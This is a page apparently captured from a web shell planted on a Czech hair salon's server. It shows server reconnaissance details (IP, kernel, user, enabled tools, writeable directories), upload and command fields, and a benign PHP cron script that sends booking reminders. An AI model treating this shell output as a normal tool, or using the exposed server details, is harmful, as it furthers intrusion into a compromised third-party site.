403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/kadernictvi_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/kadernictvi_jservices_cz//cron_pripominky.php
<?php
// ============================================
//  cron_pripominky.php
//  Odesílá e-mailové připomenutí o blížící se rezervaci.
//  Spouštět pravidelně (např. každých 15-30 minut) přes cron:
//    php /cesta/k/cron_pripominky.php
//  nebo přes URL s tajným klíčem (volitelně).
// ============================================

require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/mailer.php';

// Zjisti nastavení připomenutí
$stmt = db()->prepare("SELECT klic, hodnota FROM nastaveni WHERE klic IN ('pripominka_zapnuta','pripominka_hodin')");
$stmt->execute();
$nastaveni = [];
foreach ($stmt->fetchAll() as $row) {
    $nastaveni[$row['klic']] = $row['hodnota'];
}

$zapnuto = ($nastaveni['pripominka_zapnuta'] ?? '0') === '1';
$hodin   = (int)($nastaveni['pripominka_hodin'] ?? 24);

if (!$zapnuto || $hodin < 1) {
    echo "Připomenutí je vypnuto nebo má neplatnou hodnotu.\n";
    exit;
}

// Najdi rezervace, kterým za $hodin hodin začíná termín a ještě nebyla odeslána připomínka
// Okno tolerance 15 minut (aby cron běžící každých 15 min nezachytil rezervaci dvakrát ani ji nevynechal)
$cilovy_cas_od = date('Y-m-d H:i:s', strtotime("+{$hodin} hours"));
$cilovy_cas_do = date('Y-m-d H:i:s', strtotime("+{$hodin} hours +15 minutes"));

$stmt = db()->prepare("
    SELECT r.id, r.jmeno, r.prijmeni, r.email, r.datum, r.cas_od, r.poznamka, r.token_zmena,
           s.nazev AS sluzba_nazev, s.cena AS sluzba_cena,
           r.cena_upravena
    FROM rezervace r
    JOIN sluzby s ON s.id = r.sluzba_id
    WHERE r.stav = 'potvrzena'
      AND r.pripominka_odeslana = 0
      AND CONCAT(r.datum, ' ', r.cas_od) BETWEEN ? AND ?
");
$stmt->execute([$cilovy_cas_od, $cilovy_cas_do]);
$rezervace = $stmt->fetchAll();

echo "Nalezeno " . count($rezervace) . " rezervací k odeslání připomenutí.\n";

foreach ($rezervace as $rez) {
    // Načti doplňky
    $stmt_d = db()->prepare("SELECT * FROM rezervace_doplnky WHERE rezervace_id = ?");
    $stmt_d->execute([$rez['id']]);
    $doplnky = $stmt_d->fetchAll();

    $cena = ($rez['cena_upravena'] !== null)
        ? number_format((float)$rez['cena_upravena'], 0, ',', ' ')
        : (($rez['sluzba_cena'] !== null) ? number_format((float)$rez['sluzba_cena'], 0, ',', ' ') : 'Individuální');

    $rez_mail = [
        'jmeno'         => $rez['jmeno'],
        'prijmeni'      => $rez['prijmeni'],
        'email'         => $rez['email'],
        'datum'         => $rez['datum'],
        'cas_od'        => substr($rez['cas_od'], 0, 5),
        'cena'          => $cena,
        'cena_upravena' => $rez['cena_upravena'],
        'token_zmena'   => $rez['token_zmena'],
        'poznamka'      => $rez['poznamka'] ?? '',
        'doplnky'       => $doplnky,
    ];

    try {
        $ok = email_pripominka($rez_mail, $rez['sluzba_nazev'], $hodin);
        if ($ok) {
            db()->prepare("UPDATE rezervace SET pripominka_odeslana = 1 WHERE id = ?")->execute([$rez['id']]);
            echo "✓ Odeslána připomínka rezervaci #{$rez['id']} ({$rez['jmeno']} {$rez['prijmeni']})\n";
        } else {
            echo "✗ Chyba při odesílání rezervaci #{$rez['id']}\n";
        }
    } catch (Exception $e) {
        echo "✗ Výjimka u rezervace #{$rez['id']}: " . $e->getMessage() . "\n";
    }
}

echo "Hotovo.\n";

Youez - 2016 - github.com/yon3zu
LinuXploit